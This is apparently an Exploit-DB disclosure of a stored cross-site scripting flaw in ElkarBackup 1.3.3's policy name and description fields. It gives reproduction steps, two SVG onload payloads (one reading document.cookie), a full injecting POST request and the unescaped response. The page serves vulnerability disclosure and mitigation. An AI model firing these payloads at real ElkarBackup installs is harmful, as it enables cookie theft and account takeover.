ElkarBackup 1.3.3 - 'Policy[name]' and 'Policy[Description]' Stored Cross-site Scripting

vendor:

ElkarBackup

by:

Vyshnav NK

5.5

CVSS

MEDIUM

Stored Cross-site Scripting

CWE

Product Name: ElkarBackup

Affected Version From: 1.3.2003

Affected Version To: 1.3.2003

Patch Exists: NO

Related CWE:

CPE: a:elkarbackup:elkarbackup:1.3.3

Metasploit:

Other Scripts:

Platforms Tested: Linux

2020

ElkarBackup 1.3.3 – ‘Policy[name]’ and ‘Policy[Description]’ Stored Cross-site Scripting

The ElkarBackup version 1.3.3 is vulnerable to stored cross-site scripting. An attacker can inject malicious JavaScript code into the 'Policy[name]' and 'Policy[Description]' parameters, which will be executed when the policy is saved. This can lead to the execution of arbitrary code in the context of the victim's browser.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user input before storing it or displaying it in the application. Input validation and output encoding can help prevent cross-site scripting attacks.

Source

Exploit-DB raw data:

# Exploit Title: ElkarBackup 1.3.3 - 'Policy[name]' and 'Policy[Description]' Stored Cross-site Scripting
# Date: 2020-08-22
# Exploit Author: Vyshnav NK
# Vendor Homepage: https://www.elkarbackup.org/
# Software Link: https://github.com/elkarbackup/elkarbackup/wiki/Installation
# Version: 1.3.3
# Tested on: Linux

Reproduction Steps: 

1 - Go to the elakarbackup/login
2 - Login with default credentials
3 - Go to Policies >> Action >> Edit any of the existing Policies >> Insert XSS Payload in Paramter "Policy[name] and Policy[Description]"
4 - Click on Save 
5 - We can see the Javacript Code executed Sucessfully 


XSS Attack vectors :

"><svg/onload=alert(4)>
"><svg/onload=alert(document.cookie)>



Request : 

POST /policy/1 HTTP/1.1
Host: ip172-18-0-31-bt0bt4iosm4g00dvca80-8000.direct.labs.play-with-docker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1123
Origin: http://ip172-18-0-31-bt0bt4iosm4g00dvca80-8000.direct.labs.play-with-docker.com
Connection: close
Referer: http://ip172-18-0-31-bt0bt4iosm4g00dvca80-8000.direct.labs.play-with-docker.com/policy/1?
Cookie: PHPSESSID=03e0bcfa5864ffe758916b5e171c1505
Upgrade-Insecure-Requests: 1

Policy%5Bname%5D=%22%3E%3Csvg%2Fonload%3Dalert%284%29%3E&Policy%5Bdescription%5D=%22%3E%3Csvg%2Fonload%3Dalert%284%29%3E&Policy%5BhourlyHours%5D=12%3A00%7C15%3A00%7C21%3A00&Policy%5BhourlyDaysOfMonth%5D=&Policy%5BhourlyDaysOfWeek%5D=1%7C2%7C3%7C4%7C5&Policy%5BhourlyMonths%5D=&Policy%5BhourlyCount%5D=0&Policy%5BdailyHours%5D=21%3A00&Policy%5BdailyDaysOfMonth%5D=&Policy%5BdailyDaysOfWeek%5D=1%7C2%7C3%7C4%7C5&Policy%5BdailyMonths%5D=&Policy%5BdailyCount%5D=5&Policy%5BweeklyHours%5D=21%3A00&Policy%5BweeklyDaysOfMonth%5D=&Policy%5BweeklyDaysOfWeek%5D=1&Policy%5BweeklyMonths%5D=&Policy%5BweeklyCount%5D=4&Policy%5BmonthlyHours%5D=21%3A00&Policy%5BmonthlyDaysOfMonth%5D=1&Policy%5BmonthlyDaysOfWeek%5D=&Policy%5BmonthlyMonths%5D=&Policy%5BmonthlyCount%5D=12&Policy%5ByearlyHours%5D=21%3A00&Policy%5ByearlyDaysOfMonth%5D=&Policy%5ByearlyDaysOfWeek%5D=&Policy%5ByearlyMonths%5D=&Policy%5ByearlyCount%5D=0&Policy%5Bexclude%5D=%22%3E%3Csvg%2Fonload%3Dalert%284%29%3E&Policy%5Binclude%5D=%22%3E%3Csvg%2Fonload%3Dalert%284%29%3E&Policy%5BsyncFirst%5D=1&Policy%5B_token%5D=B6JELPCVSHiZrMvyEeeBdRMLYSKBWfUMUwBeLWw8XpI&weekly-day=on


Response :

<form data-bnv-message="Really delete policy "><svg/onload=alert(4)>?" class="delete-policy" action="/policy/1/delete" method="POST" style="display:inline">